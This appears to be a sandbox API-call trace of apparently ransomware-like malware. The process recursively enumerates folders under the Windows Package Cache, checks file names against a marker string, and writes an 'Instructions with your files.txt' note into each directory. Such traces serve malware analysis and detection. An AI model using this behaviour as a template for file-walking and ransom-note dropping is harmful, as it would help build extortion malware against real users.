[0132.074] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\vcRuntimeMinimum_x86\\vc_runtimeMinimum_x86.msi") returned 142
[0132.074] StrStrIW (lpFirst="vc_runtimeMinimum_x86.msi", lpSrch="SDfghjkl") returned 0x0
[0132.074] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x48395900, ftCreationTime.dwHighDateTime=0x1ced4da, ftLastAccessTime.dwLowDateTime=0x48395900, ftLastAccessTime.dwHighDateTime=0x1ced4da, ftLastWriteTime.dwLowDateTime=0x48395900, ftLastWriteTime.dwHighDateTime=0x1ced4da, nFileSizeHigh=0x0, nFileSizeLow=0x25000, dwReserved0=0x0, dwReserved1=0x0, cFileName="vc_runtimeMinimum_x86.msi", cAlternateFileName="VC_RUN~1.MSI")) returned 0
[0132.074] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\vcRuntimeMinimum_x86\\Instructions with your files.txt") returned 149
[0132.074] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\vcRuntimeMinimum_x86\\Instructions with your files.txt" (normalized: "c:\\users\\all users\\package cache\\{bd95a8cd-1d9f-35ad-981a-3e7925026ebb}v11.0.61030\\packages\\vcruntimeminimum_x86\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118
[0132.074] WriteFile (in: hFile=0x118, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22ce974*=0x54, lpOverlapped=0x0) returned 1
[0132.075] WriteFile (in: hFile=0x118, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22ce974*=0x18, lpOverlapped=0x0) returned 1
[0132.075] WriteFile (in: hFile=0x118, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22ce974*=0xc, lpOverlapped=0x0) returned 1
[0132.075] WriteFile (in: hFile=0x118, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22ce974*=0x16, lpOverlapped=0x0) returned 1
[0132.075] WriteFile (in: hFile=0x118, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22ce974*=0x23, lpOverlapped=0x0) returned 1
[0132.075] CloseHandle (hObject=0x118) returned 1
[0132.075] FindClose (in: hFindFile=0x876d38 | out: hFindFile=0x876d38) returned 1
[0132.075] GetProcessHeap () returned 0x810000
[0132.075] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x22e0050 | out: hHeap=0x810000) returned 1
[0132.075] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xedbebcc0, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xb48ac680, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb48ac680, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeMinimum_x86", cAlternateFileName="VCRUNT~1")) returned 0
[0132.076] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\Instructions with your files.txt") returned 128
[0132.076] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\Instructions with your files.txt" (normalized: "c:\\users\\all users\\package cache\\{bd95a8cd-1d9f-35ad-981a-3e7925026ebb}v11.0.61030\\packages\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114
[0132.076] WriteFile (in: hFile=0x114, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cec04*=0x54, lpOverlapped=0x0) returned 1
[0132.077] WriteFile (in: hFile=0x114, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cec04*=0x18, lpOverlapped=0x0) returned 1
[0132.077] WriteFile (in: hFile=0x114, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cec04*=0xc, lpOverlapped=0x0) returned 1
[0132.077] WriteFile (in: hFile=0x114, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cec04*=0x16, lpOverlapped=0x0) returned 1
[0132.077] WriteFile (in: hFile=0x114, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cec04*=0x23, lpOverlapped=0x0) returned 1
[0132.077] CloseHandle (hObject=0x114) returned 1
[0132.077] FindClose (in: hFindFile=0x876cf8 | out: hFindFile=0x876cf8) returned 1
[0132.077] GetProcessHeap () returned 0x810000
[0132.077] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x22d0048 | out: hHeap=0x810000) returned 1
[0132.077] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xedbebcc0, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xb48d27e0, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb48d27e0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 0
[0132.077] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\Instructions with your files.txt") returned 119
[0132.077] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\Instructions with your files.txt" (normalized: "c:\\users\\all users\\package cache\\{bd95a8cd-1d9f-35ad-981a-3e7925026ebb}v11.0.61030\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x110
[0132.078] WriteFile (in: hFile=0x110, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cee94*=0x54, lpOverlapped=0x0) returned 1
[0132.079] WriteFile (in: hFile=0x110, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cee94*=0x18, lpOverlapped=0x0) returned 1
[0132.079] WriteFile (in: hFile=0x110, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cee94*=0xc, lpOverlapped=0x0) returned 1
[0132.079] WriteFile (in: hFile=0x110, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cee94*=0x16, lpOverlapped=0x0) returned 1
[0132.079] WriteFile (in: hFile=0x110, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cee94*=0x23, lpOverlapped=0x0) returned 1
[0132.079] CloseHandle (hObject=0x110) returned 1
[0132.079] FindClose (in: hFindFile=0x876cb8 | out: hFindFile=0x876cb8) returned 1
[0132.079] GetProcessHeap () returned 0x810000
[0132.079] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x864bc8 | out: hHeap=0x810000) returned 1
[0132.079] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfaaff840, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xb48f8940, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb48f8940, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}", cAlternateFileName="{CA675~1")) returned 1
[0132.079] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}") returned 75
[0132.079] GetProcessHeap () returned 0x810000
[0132.079] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x864bc8
[0132.079] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\*") returned 77
[0132.079] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\All Users\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\*", lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfaaff840, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xb48f8940, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb48f8940, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876cb8
[0132.080] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\.") returned 77
[0132.080] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfaaff840, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xb48f8940, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb48f8940, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0132.080] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\..") returned 78
[0132.080] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb48f8940, ftCreationTime.dwHighDateTime=0x1d5e184, ftLastAccessTime.dwLowDateTime=0xb48f8940, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb491eaa0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0xb1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Instructions with your files.txt", cAlternateFileName="INSTRU~1.TXT")) returned 1
[0132.080] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\Instructions with your files.txt") returned 108
[0132.080] StrStrIW (lpFirst="Instructions with your files.txt", lpSrch="SDfghjkl") returned 0x0
[0132.080] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfaaff840, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xfaaff840, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xfe3882c0, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x28e, dwReserved0=0x0, dwReserved1=0x0, cFileName="state.rsm", cAlternateFileName="")) returned 1
[0132.080] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\state.rsm") returned 85
[0132.080] StrStrIW (lpFirst="state.rsm", lpSrch="SDfghjkl") returned 0x0
[0132.080] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfaaff840, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xfaaff840, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xf0a0a700, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x6f398, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcredist_x64.exe", cAlternateFileName="VCREDI~1.EXE")) returned 1
[0132.080] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\vcredist_x64.exe") returned 92
[0132.080] StrStrIW (lpFirst="vcredist_x64.exe", lpSrch="SDfghjkl") returned 0x0
[0132.080] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfaaff840, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xfaaff840, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xf0a0a700, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x6f398, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcredist_x64.exe", cAlternateFileName="VCREDI~1.EXE")) returned 0
[0132.080] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\Instructions with your files.txt") returned 108
[0132.080] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\Instructions with your files.txt" (normalized: "c:\\users\\all users\\package cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x110
[0132.080] WriteFile (in: hFile=0x110, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cee94*=0x54, lpOverlapped=0x0) returned 1
[0132.081] WriteFile (in: hFile=0x110, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cee94*=0x18, lpOverlapped=0x0) returned 1
[0132.081] WriteFile (in: hFile=0x110, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cee94*=0xc, lpOverlapped=0x0) returned 1
[0132.081] WriteFile (in: hFile=0x110, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cee94*=0x16, lpOverlapped=0x0) returned 1
[0132.081] WriteFile (in: hFile=0x110, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cee94*=0x23, lpOverlapped=0x0) returned 1
[0132.081] CloseHandle (hObject=0x110) returned 1
[0132.081] FindClose (in: hFindFile=0x876cb8 | out: hFindFile=0x876cb8) returned 1
[0132.082] GetProcessHeap () returned 0x810000
[0132.082] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x864bc8 | out: hHeap=0x810000) returned 1
[0132.082] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfab71c60, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xb4c648e0, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb4c648e0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030", cAlternateFileName="{CF2BE~1.610")) returned 1
[0132.082] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030") returned 86
[0132.082] GetProcessHeap () returned 0x810000
[0132.082] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x864bc8
[0132.082] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\*") returned 88
[0132.082] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\*", lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfab71c60, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xb4c648e0, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb4c648e0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876cb8
[0132.082] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\.") returned 88
[0132.082] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfab71c60, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xb4c648e0, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb4c648e0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0132.082] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\..") returned 89
[0132.082] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb4c648e0, ftCreationTime.dwHighDateTime=0x1d5e184, ftLastAccessTime.dwLowDateTime=0xb4c648e0, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb4c648e0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0xb1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Instructions with your files.txt", cAlternateFileName="INSTRU~1.TXT")) returned 1
[0132.082] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\Instructions with your files.txt") returned 119
[0132.082] StrStrIW (lpFirst="Instructions with your files.txt", lpSrch="SDfghjkl") returned 0x0
[0132.082] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfabbdf20, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xb4c3e780, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb4c3e780, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 1
[0132.082] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages") returned 95
[0132.082] GetProcessHeap () returned 0x810000
[0132.082] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x22d0048
[0132.082] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\*") returned 97
[0132.082] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\*", lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfabbdf20, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xb4c3e780, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb4c3e780, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876cf8
[0132.082] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\.") returned 97
[0132.082] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfabbdf20, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xb4c3e780, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb4c3e780, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0132.082] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\..") returned 98
[0132.082] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb4c3e780, ftCreationTime.dwHighDateTime=0x1d5e184, ftLastAccessTime.dwLowDateTime=0xb4c3e780, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb4c648e0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0xb1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Instructions with your files.txt", cAlternateFileName="INSTRU~1.TXT")) returned 1
[0132.082] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\Instructions with your files.txt") returned 128
[0132.083] StrStrIW (lpFirst="Instructions with your files.txt", lpSrch="SDfghjkl") returned 0x0
[0132.083] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfabbdf20, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xb4c3e780, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb4c3e780, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeMinimum_amd64", cAlternateFileName="VCRUNT~1")) returned 1
[0132.083] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\vcRuntimeMinimum_amd64") returned 118
[0132.083] GetProcessHeap () returned 0x810000
[0132.083] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x22e0050
[0132.083] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\vcRuntimeMinimum_amd64\\*") returned 120
